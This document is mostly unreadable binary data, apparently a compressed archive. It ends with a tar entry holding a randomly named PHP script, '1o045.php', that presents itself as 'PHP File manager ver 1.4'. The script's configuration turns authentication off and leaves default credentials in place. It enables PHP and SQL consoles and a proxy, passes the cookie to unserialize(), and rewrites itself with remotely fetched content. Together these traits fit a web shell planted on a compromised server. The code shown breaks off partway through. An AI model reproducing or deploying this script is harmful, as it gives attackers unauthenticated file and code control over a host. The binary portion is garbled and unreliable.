7��9�����Sx0)��{f6�b��O�?�����2	�g����ٺ�/�_L�F�ॲ�\.��Y��.��a�6zD,�P0N��^���*�׫�Ԁ�8��I\s�[,��|hsmt;U�Nq��eI���7}n0	4)�y�8��)�ߠ�0o�x3�`�O�H᳟{2�y��Ņb�cy�Vm���fD��e>cq�HC_��]7;h�o����w`G�q�ML����@���A�"B�I�]��A��ک�Ì�:���-�P(�id�a!%�M{�.�!�jϛ�U�>�7�	�m�0�h�۹B\��ju&g�򝜚-ʥ`j</r��$Z-
�?�g\��'<�
�<?�ּ���8�I��l�Q饞V�"��3�]�U�u��+=>�R��p�g����Nզ�Zv����f�J�r&�M����Sz��n�U})S�L.5L��i9SL�S�tt6/-�o��~+UB��r/X���)-UHIcϠ�*fF�G1���b&�Iq�B���MQ�I,U:�:�2��O��tcь�#��DKeӏ�`��*gB��l5�Z�S��Jo�2�j�P{��N�}T���xs��U�+4��Š_7�F/?�d�t`�\����|�\�Ճ���t1O��Ң_h�ҕ;�Ƿh�3�|�a2ak	�)\U�X�"G�Y1�E�x��?
�u�z�!���c�S�x9K�i�]�ؤ!?O֓ј/��b�^n���u������r��,����<R��v��Ao�|�#�VdS6�z��q�6��1᱘�?����l�U�V�=<D���By�lyXf��ȿ/��R�����@�9�Er�p@�Bڥfi����<��U��:�SjA���׍27���`s?�wZ��f�J�J�A��]JM����
!�g�6?yD+�?_4��T�y^���VI=�D�F)�.)�t�m��C*==�ӣC:��&��y|je��t&�h�'%n��B�0H����r�Q�)��\k�
��b7���Yv9�<�ҥ�>��7�Ԥ�k>pB*/�d6�L���pq�/�Q��L�QH7��QiOvmy�.�;Ňq11�#���^�bh��'�}a���ba�n���r'��&���(ȓM��P�-�xW~�ԇJ����A��W�I-(�=��p��Nz�C-7Ȧ�;��Q[5ӯ�������n��vV��:,zq�n��7'��T��ˍ��I�I7�ӧn.�k�&��Lݟɏ��<;�?d���*��?*r�3��z��n�˙Z7'�[�]:&�j�ʾ��O��آ��/v�|����E�Y���U_�7��l��~a�Om��}�y.�l$[�<�i\TKR�15�Zᶧ(���9��\����"���pU��e�SG�'�!�L5��i�x9wh3�2���.R��[��䙫���g�_OFb#R�g��Y6<�s4U���t����S��^
�a��C����*����������AYT�~6"n:��J��|���YvJb����SZ��+�_M�N<�\�=�g��P��S�6[ե���:�e�
<
�A~Y�
�/uv�鳽y�;�<m���2_��v�y�M2�����ŮZY���I�9��<T�ϻ`IY��F0&�������S�?�7�vG�;���ߚHR��?�C�Rh�ڔ���[���)�%�,���,i���lZ�:�񈀁�: �&�Hz痥���f��~Hj'�V����~��R�]q�@h�Q,�^z�=I��EyD�<?I��.Qfm��.��C6?)���<��O��$�kuv��vT���N>�<�����T��ýfc=���D�0k�j��Tx�>��Pa0�f�����r�_Vb�e�5X,J\/��jO�x��+��<�8�w�CYZx�A �k�4��eU[	�u���R�֚�[O;r��uz��r��9M�b@Yk�谱��չ?�HZ_�Ʋ;M]W�a_�>���z�-��q7/��#I�w�[O���Wk)Xa[��lo�Ϯ�Qw�c�}>��V�(wXֵP(�x,�Q��ւ��L���%Ԭԩ�����a�v���f�\./���R�Pq�7J�Zg���Mw��U�uPF�ueY���P�o��~�w[����V�{ҍ�(�f"��Sa3V"��ߓ�Ǟ��>1+G��ʈ�j�Nh�Mc��'1��%ϓ'|؆B�2��O�x&�/�˭xe#��|�_a�lbΆ�_�H�L;��V'�B��-�<�xq��ʠ?�A>���2�z����K�d��V�yy_�ו�C(�U���2���x=�S�idQ(oC��p�a���pd+�'��Ux�<��\�򷢍�~.�Ԥ�v<���JS���ȪV�C�Y3Z���}Qz
t�Q7'���6RV��"�n46W�ː��Tb�������M3��q��V��T�8�V[�z#�Z����q�5�w�I�<���6*Z��U��i��OV��U3�X�W���]�*����4�/���S�}-+>�\����Z%�z�漟��W�կ���Y��N�ʞ]7Z�q^���X���:�2b���@��e9����H�9�ГJ�>�H¦�{m]�D�e��Zl�����/w��Q��%��Qg�?RK�];_
����6�.���E�ӊn�N�_�����I'����V�+ѭ�ɬ��1�<�Q+0A3��W��z�EI���Ȱ3NL���L,�G�������ɭ��Z_{\D�~"��[��9�W���?;Jt�j(��?ʑq�TY�&�>�k�l�,���c�@sީ5���i��}x�b��T�mj=��<��!�{�hZ'��T�A�?�=�Z��>��RXD��\�:x~�v�Z3���h0�ځF�Y�4��DO�������a���h�T&�ά(��ʶ� ͣ��c��ٖ�]L����D�;����bS�K���h������[�4X�$%�H��ld���HsSi��[��x�Gb?��H���J?	֪��\x<��Ck�?��D��\+�G��>�i�:���b�>C�QU���Z��cRy�)�8�bҚW�>8Ek����@$����W[��f\��q>�>���w�8qPױ��P����Vl7N�Z}$fC�q��xB��&�Xm�I<�0l��´W���20�&��mq�B�7P���SmIB-TND�{�O�{��٨���u~�ی7�N41��������H�<�E�WR��b�2�iԳ��:1g�Ѷ���h�ȉx��iċq�
�"���Ʊ�nњ��\*2;���Cy��^W�͵�F*˦j��$�|��q����H���]m!M��Ҡ�F9�Ҩ���Զ�4�B�T�q����x��
��z#�'�[O�Z��F�r�F�O�'���i��m��I��|8Ώ�t���R�aFhL�d�jb��E�Â�GV�^��ΎZ��d�Nc���]gb%%���a�ĮʠB�4��e�j��e<��hCh���1�xi�o���D%4�(y�r�^}�������37'��"?�������k�m+X���T���:�P����S0��y.����hpSwڏ�b��6v�o	�0S
�i����f�'Ƒ���<�wKY��[��y@�\��ʗW�msP,�Gϓ�Z�Y̳Y��Bb���u1�\��z�/T��u�Y����u/�A��sk�����S��'��Cf�i�ݭ:�d;�F�Wi�CҪ��v��*8,��b 5�R�Fc\t�Un�K�z����j1t��݇'T1�OW�ժ,��l��u���'S���Ϫ�g� �|x��s�R�Sϰ�������h�J��!�km�1��$Y]O{��^�5��뉇F�Պb(��3��2��m���['rb�5o��L��6�!�+�a���-�[���?l!�B����a���-�[���?l!�[Hky�� b:>���P���e[��P�<���=�FO���/�3�Q���n�B�}+�-�r�y^�

q��/�ʹ]~���HE�8��'ee1�Kd{BG
GG5i�n=�D,$M���&��쑆5�����x�0[ 2�+HH=��+�{�]�����?���GRo�dz�z�����b�yה�ƝLj?�gKmeX@��dR�\`�$#��Z����G���س�ItTԊ\�{��<Rm"%%��r�|g8�uj�Dp[h��!�ih��j٬�P0��=W4~ڛ��s�S�1�h�T���Lէi����HvV}��w�uL>Dr�м��gi�O�V����͕�Z6Ŏ�:jt�
�!M*n�6=��Rx����q!�+3��5C�z��
�n��ݍǒ'�	F�G��F����v�۩W
�.�֕�]�TP��M�a�	�����Ri;k��S�W?,���Fn�Bh�%��"�?pϫ�&�eW��d���!��_TG�MlQxj?��b����+Y���cG�2;ޓ�Oz�I�[T�y2il;�X��Q�;a���Ԟ/vJ�p_�d�]��gwϞ�(U.Ğ�N��
��䑳"x��ʼn������?:��(����AD����g���:q����V�WYO�J�������`b/,F��D#U�Tr/�~�T30T�5(��nUQ�r�Y�!�oI����Rn����|��g���
�hO=D׳�MI���p.�;�E1]���Y��ޗ.��W��Y��f�ٶ�l�B���J��Ɩ�B?�B{�h�0��J|/o��A��5*�~�
�Zq�-<��9\�T�+O��i`��XO���xb?���oBJ��^f҉D'����` =L�l|��<���8���B8�XϪ:�j(�CmT����YCt���Bq��P_KU�ꡙ��K�V����ea[����QΣv������)�=��V&�xfx�q����O��v`�o��a�	=q�ݶ���(4�ź�q�±�D?8?xԈAb����J��=o���20�@@�C��ė���)�RJe��Hw%m���i��o���w:�r�;���e�g�+���b�Ls^\=FK���\��Ng3{�c���`�]��0��d;�����R�J؜Yxn��� ����}��N�	��L?�&��<��n#2�b
��c#�o��٢�ju����VZ��'5կ����0�t�=i�T�z.��K����r�|c<�[Ӈ`L�E��'+M���A�C.�L�5�x4E�����i�m��t�/f�t�ŀT|�E"91��'���01X��^��4�@���˕�:S����|���R&3xJ<�+	��VҬ�.��Դ�.>��e]q�m6����!'�c]�:�ڧ�R��X}�ԕ�~�ڶ��!]�T�g�z� �Jn����mJ�xH�Nd�|-�lw��R$�+�:���	���p�xׂ����Xпܹ�;�~��
Dy8��!��W��h�o��xwcQ�[�kgJ��T�{B�/VUn%mJ*���'�v��K.�{'�s�C�)�����w�h�����բ0����9M1�P�����c�(r�K��?���r����kr����xAb���M�ۺ�JT�p���_/_���1���w��ǵ�W���8Z���R�h�Q��N��K��Q/�FzZ���p�1Z���zg,��#��7�h�wĊ:W�\���7�F\��3�.�		�{K
�%ٚ�¶ȶ8�	�tr.2�~�
��b�1���"v��N��g|����,�#��P[+1����?剛���l���XR~b��⛔nb����^��8���j̆WT�A	K`C&ȏ@$�
^�;^��
u����#�v��c�?؏����s��@6�� �<�m�tw1P�ɱ���/^�`��Oz-J�Lꝍ��N��"�������j�-���3^�Ό����5�G��p��F�(Vٴ=��V�uh���߸�m�
����s��ڶͷ5HH�!��ג �mQކx���2FTȷZ:�pa�C������E�z�*I.Y[�T2�m{��M�wE94�XOX���E�x+
��w�2� Q����:����#�|6">6�4�'�c��
�_+���d)}�G���o���1��H��g)G!�~'Bg�q��G�A�wbf��w9[Լ�/���
؝_;��m?�kAy�G�]
dա",_�q]CF\��Ÿ���y!u�^A:E�#'�\_�E�T�ԏ����ؾ��H�X�c���%��>�Ț7���*QMj\�+��J�6�5?=e��Z�}E|}~J��U������SZ���5ҵ��{�6lH˨b������IB%�*�7L�C�p*�å��>��.�'�G���8������Ї��e���)o�&@��`��ﺙ�w�%̻O�}T��pNp��-`��7k�h��V*4LI����4�חi�o|��ޏN�����Z�l����~�	��Q@1�
���
�:�p��h�&N�U�!�ְ� ��� ��h[�-4v�4_7u��c��f��#�'8���p=b2�����V,�Ԭu!���5�� �>�G#v����GYZ���3��GU�O�2.�S�C�&`�F+L#��'�+_вAM�om~��f���!�'����a�?�_�-Bt"Z��ۚ���Q��2t�/��, �������/�6q)�%V�G���� ,F���������;U�h�M�K7b���
�y@�+}�X�x:�ݟ�Ƈv��H6'h��;��(���$ I�3"�X�suĆL�`���ED7>�1^KIPU̱0#�8?NCG*�ٷ��5p��٢������s�I���4F�g'(O�-m���f8��D�,���:�ᐰ9�������_�=��Jx�0%~K�H��#�/:�"����d��)z����|�p DC��5 %-{!�߅��ճ�<�}eqD��h��31�.���M`x�?�.��!��{�U�| Z�6瀝��H@��I���y�!R)�wz��t��:�����0�6��wҵ��SXdп���N��,�wV7°��eCtz^�:�� É��%C����b��c�q�鳅��3�Œ�(�a}'�M�P@�#�&��JY���*<B>��i��P�P�D��eYn�t��寂�zE�y?�!'�){*�S�A�yyu� [�]�hg��qf�3l�l]���yt�o� ���^�^H�i��<���,�ՠ=Xġ�Ɍ��:e�$p��]���k#<?>���s[.�š	B�"�¢����{���`�16R�O��Μ�+�]�ۿknv���zC������rLsX��9�x,s���8�u�=���|z�#�6O�KLƢ��Q

�aY�0Dq�#���/3���h��4�����I��D^��}���AR�,_��f����q�&c�N��X��bog�y—�|���O�L��È�{%/�>6�s:p��k��p}�d�2�9U$��$_%��x��cP������%�"�[]�:���BK�~"�:KG���`�e�wvȀ
|���	��P�˗Sn��T��[��ؓ�*�ck~)�"����+�L_�d�/ٸ��jrw+	!�9/bک�s��JE<� ��0�:�C�#zr~�eS���������әi�g\�l�����b���3H�:�{�a��o�bN��Y[g:=^&�<���t�P�R��u�}0�Q��K����9�9*���Ħ�k%�ltR��#^���t��D�!N>(�˂��^Daa|���z�TmTQ���G8�qY�Z���ւ8�+�"�OO�)ö�]�ڬ@l*!��s��L�£2�
��Ai�M��w�|��#��#�~C���쁗J�^�v��W�$c���~��r~D�A�q=�N>�n~��M|�i/��
�w8MW�|�Bu}��6�&�wO:\�L��u�,�8��i���
����p)�"X��4�;#Z_Z
,k~���,h���X*�����m����0���΃җ{mئ_%	��Oh�Н�:Lp�Ռ=���ͫ���\�	���,�w|���+�H2��e˲�+�V�N���25�!��󥑋�!��u�^;��h>��ě|���¤�s��]]֦�R7�&�.K`����d�V��E��z}�KH�Y��#`[n��.���qg/ys��(Hl�.,��ޚM}�D���ef�A�Sg��*�JX��h�7�K��X�-���H�p
�>AЬ��Š�+�g�2��z���.Aœ&t��~���7�1a޵�@{�����Ͽ��s�����7�G&A�+���|J!���b1Ǎ�!���� T'n71��֯.;<�A��Ve����^�]>t��<+�È<\�OzI&���N����|����m�i�=��^�b���tH̴��@�u�vG����
Dζf�)bCűQ�oóF��w���nA�wFI�4�jǴ4�~*&ϸj�@y�yZ���Ĵ��E
�.���B�י޲y��C���1ΛÏ��!��ZԄ%�h��7���o���d\�g�p?��}�!����,�5��ѯ3�4_���!���W�c�/ՠG⠃����O��rć0�/�\:��R|���H���,�"�$���Kg)@��)��j�F_=|�U��:Y����{!
�b�V'�Ppy�e�Gܾ��NjQ�.jhs-ڗ��RN���-���|ꋌ'�=A��� ������5���5�y�EQ��x��*˧W(d�J}-Xܐ�"�iD4��5<���>��
�9=��I6�(:.z�N=�`��
�~k��~�&c
E�|���󷒼U��y\�����U��??P��oo���Y�������
Y,�x�',Z��f��(`���L|�!'��tΉ�i��\�l(M��S��kK2]�
�ඌu�o�)埭� ��@6��������A� �7F�>bjH'`H{2�q%��7��2�I
/c|WϮu����k�
?�>�`Uu5��+q�<�������^t���%��D vȲ�p�9�g���)Z{��<��ULw '��ά^�#�s�{�x�:LJ�r�B�{�����8��L2.{�����,���7Bc
-ܼF��䎏i""��B�th��j��cB1?�����@�8���@ f0d����B$��������q�R�l�h&�Ʉv�/N��BJᙽ�f�5}�rھd�(�X|1u�eq�Bj*B�İ:�|��X;I_D;�酐!���mtC�����0�pҋfߜ'l
���nr�������ϧ_lǫ������7�M�i�)IJ��֊���
'�]���M(��
�H��,�5����@��a6J�%_��/Υ�\/��J�a��H��p��f�_���"�A$�"d�֯�&����d^������ 
�
�����F�Nᵵ"1�I{�{�g�=Y�̏�p��[+�9��W��Y�RLnDg3�|���|T��B`�<2}۸�;��sR�}�{��9[��;�eb;eIIF�^�^�����>�~���Lk`O�{˸~��a��o�e�Hp��(���[>�q�	��H6�ï�fpP��8�Xf3D$�U�HڇDs��r2ۭ�����gpӄ��\
�N{M��މ�		�>��Hpn���}������cI[#��`�DŠ���_�
�ށ�ų�����y�|�o�2��Pc�Ψ@����CCcݛ��v�ΰ�}��)��d��.G�fq3bn�[��5�%���6hR�l�9���6&��l�g��$���ڪ(|"y��d�#ast�^M����g\R��[�e=zK�Z�5N�EI���h�ρ��
06N����o�{8�Q���7�i8,�lLҩ�-�[���t=�
���n�c�����}��\b����
�6��8�}ƞ������!���
eQTɹ�[` "�
�/V��7aM�c0gCw��G�e�7�|[�![#%?�L�?���8��%�$[K��"�Y�a5�mc�DRr�������w���`FS���vCM�;��7>�Ԝ򼆶^�ʃ�S�J��
���	�UjA�:�џ��v��Ɏ��c4C�?Z��K�`���&m�H5^K�z��r�e�:T!'�@5j+@�3��!��p99=�~�!�S�k�h�����x��r���bv#�|�����A�ǭ_�gʒ�U�7K��Q{8�U�iuL#}`�>�
a38*)�k����O**<�q�T�^Se�/a���~�^a\@R�9�t&������S�Z�7��v����s��O��l..$y�RTm��� 
G��x��:|����r8�^f�eF^f�e��q^|�Hl�_?"��� �;��Y��&���xDzRQG>�u�A�4�h:�q�"!
~�X��]���3d��/��#a~cFwn���RS��a0���n&�$ѬB�-C$���a���[&����C{L�E�Q'���$J��W��A�P�$�z��5̸"zR�H
�Ia#)�'ō��+j���X�$��p��������
���(�(sϬ�(A%�dZ�Q��R���Z��C���~y�3�qE/��㯤�	� HQ���B��(�&�W$WO6Z$N)T'�й��O0U1lɘ/f��ϥ�r��\
%׊��}��K��B�M��2��(��rҁP�U�S��7X(Q�v��[y<�PG~���50
��8����n}ېOV&l��6r��#�G��;�ps�-�	�r��L��G���D���| �s[�
;�z�)ı�m���Y���U�Ҳ���D��Ok���$#}aq?|F,R���������n��Z��x7p1�������~�p$��7�%ۭ�M�����$�1=���q}H&�p��8��`2����t��Og��ӝ�o�/[��;;�U^fyR�R}�y��Ξ��}r�E� �P1�^��;�H��>	�����ƍ��G�8��&����C5��6��-n�A�1�:���-��	�'ZOe�X؀����ڇ��b)�}|�������b� ��\v
]]iTԂ�%�i9[��O`��ir�Ym�x��� �طV23\:#���n���]���`fD��%��1'.G��&�&+>������3K.Tz��9G��:v9���� m^��cɒ�j��Ëtژnu�=�[�x~�p��p�b[���o���m ��ǂ��2�1S�cp	��O��׍���+��� ]��UU:�)l�:��C$~�R&��;���J>z��H��33tn��R�IƂ�@	
;CT<é�����Շ�k�	�1C ���� UQ{&�E�я�סn�ϳ�d��G�hS�D�`t.u���*���"��L�9v뫣2W��9=,�FLy,�c���1�rPE�ekHq�G�X�L��%�yj2H��d�>���B�矰ɀ�n�-Do]�]9_�ek��G��H$1~dՖ(�����28�E�y�	�($j}	��8���da�K�ra���pTd}��~�h:ĴK�M^DA��y���0/�	z���C�T�q+�� ���g����5Zi)���O΃l���®#f���|����LW�#����?�	f���ϋ�uI�~�>�O�3��<cЍUH3���b�7�#:�����̙D�g^,�n�K��6���Fm�d�F�O�@��`8GE.7�s�j\օ9Z���x ҕ���F�W�v$� 	*C�͍8�e�~��J�&��=�4�������c^���,�2�@�F�Ɂ���"&�#��1���){�-�����,���g`���:��<�����{��;v���=������j)BK�N��й���0��S�s2�m��gFO��lw*L�K�&=�3�);�:Cy-����a�ɩ)0|�oR��l��g�GE�·Va��0s.�.+D��|5�uL}½2Ŝ:9�1�0
/3ף}�AG���U/OK��@@�mպ�҈xƶ���B�tڈ�/t���w-c���Kw~�4��^��]��R7�1Y�㥗1��ɍp
��ARїP�K02.�D='��H��~k˥�H���z�/�VWm0犄H�\�y�yz��X#v��d�>���vDK��r�y��q�_|�N~뮧C0bc^��N�{�)�t���-�3���)g��z�^��M��_���Ҩ���:c#����<ϸC��(�&|��"�>���+�go�5nC��3=)��?H±�MB�K2z�V+�N��ݕ���<�xF?dz�np,����gP�(!����Ĉ'����>���aۙ^��[�$��1�w[-3��5Va��|-|<��H��=��l��>__-2�Y�,g��f<AҹTD\E�*.H�?_��	�����p4x�q#�OT�Ȱ��z���5e�q[� 
eE�a��^eG����j��d��5]t�gԜ�	$۶	��
�<�!��:�c��y<JDn9�Ғe�$�߫��$�x]0:"�e$���;�i)��ƉC�Xd�|�Њ��n���^���2�o}�D*x���=���w	�C�0<ݾ�6���\��<��q]O9i�G���j3f��k�F��!�p^�5��h<�H!����
�0�o�uZ�B�a��U�2�!��zL0��!G�����A�%��
��8�X��6�{�Vb@8���ڜ�'�����٣J�c��M9�x�^Wϱˌ˔�0�IiXdWh�4$Xr{��ed	�xtOrC$��#�P.���[ĥ�FNK��q�gc��9�3|�r����,h��gLlPF_�&�{rm��ݍ���[�F⸙�}�(�oc����e4�� �`!HF��R�2k�!�n���C�EYVL���k1CI&�GW��#����p�4Q��85��/u)�8.�f̟0�����i\�Z�"�]F�GV�������t87%�c�Xz��Ht�} P,I����s߶���IR�1���2ԗ^�7+�З��|G�=�ӼwЈ�R�E�:��y��i�6j��
*_X��٦
7o�MO!k'�|�3U���0����ʚ��w!�V�y��X����>�����;mͨWXb���a|�d�Þ�����6c��b0"X=�^��͙���
�N6���r�+�G���`gIv}���+�ɪo�ȫ+�,����<�mp(L���!�
\��Q��5�p3Vfr+�j\��ܚ��&��87Km�_RxCT����g����h�e���I	!�+���m�५|����͜|s�f(r�Y�����"J���jү��>�.?��G6����װI�\�ta�fP[4�;�	�l�v��nT5���2�b�+�?��u1]�;RČm+wߨ����xL2���z�)�@������9�u��mT���ni��q�-8���f)�7�O�5���?:���6����ub_��Յx��>���������S�g�����2%�������C�E�L�	�����^�=gx~ �9�Qܓ����m*�k�}��h��	4�exh�O*��""��Bw��<^�q ys9��߯���y?�"���D��K���X7��1@I��88Ze�肛C���G,
�I+��67�7n&+�Q�d"mc���'��(�ա��.M.k���,�
��寿�kbΙ$�D�T
+��̜���':L��.��:x,�\��v�*�2v�f�[c��E}���Йa��b��0��BR�}T���7��������f�c%.W���QE"�ZQ����ۜ�}u};��0�aqrq��@0�q(p~���Q.��(���D8�����[��$���f�1�^�ry���L�e;7s�$�^�X�(GC�ѐG"���z�x���c˨t�-'���ե"H���S �R4jh�.��`�X��X�;j���&
������*�2L��k|�b������e�E�!�@Ѕ�&A^��:ޙ�-Ơ�u��6[� 6nǔD�¢��3���p�
,�nv��[�Nj�V0���7��z0K��7WH}�(|�]���o0
�?����QBJ~�g�xDO��,$Gp.75ԧ���1gu�:��=�N�sDŽq؛��w��� ��*��"ѿ�*dCP���s�L��^U06�3'���[�{����@�={�������-'�/p�\G�z�X�Z���S	62۔�3B���ext^����[�v-��я��{i�C�%�,l.��M
}_�.�;z��ر�?+lb��FbP�����Ws���^zpS>�,�u����;Y�9|s{K"�8�Z��ϣU�8�x�z;H�->�@��D�8�r܇S��wD�ڀ/��n���|������3�$�:a�A��{M����:���1��t�d\�,�����2�8�~_����T��jrX��KEf�0>��hqC�]��H�w5n��8�g����t�w�h�%	{��5�X�ª��]�]�2߭zN�7����`�F�Q}N
�&'u*�k�oHd˶a�'��͍m�����=�������]�yz���-vwg��3�0_�a�f�k�C�ky�����w뼶�oY!�p��h�[��w�h�1}��{b�@O����������/UC<PK!��=���
w8zplf.tarnu�[���1o045.php000064400000232666000000000000006005 0ustar00<?php
/* PHP File manager ver 1.4 */

// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
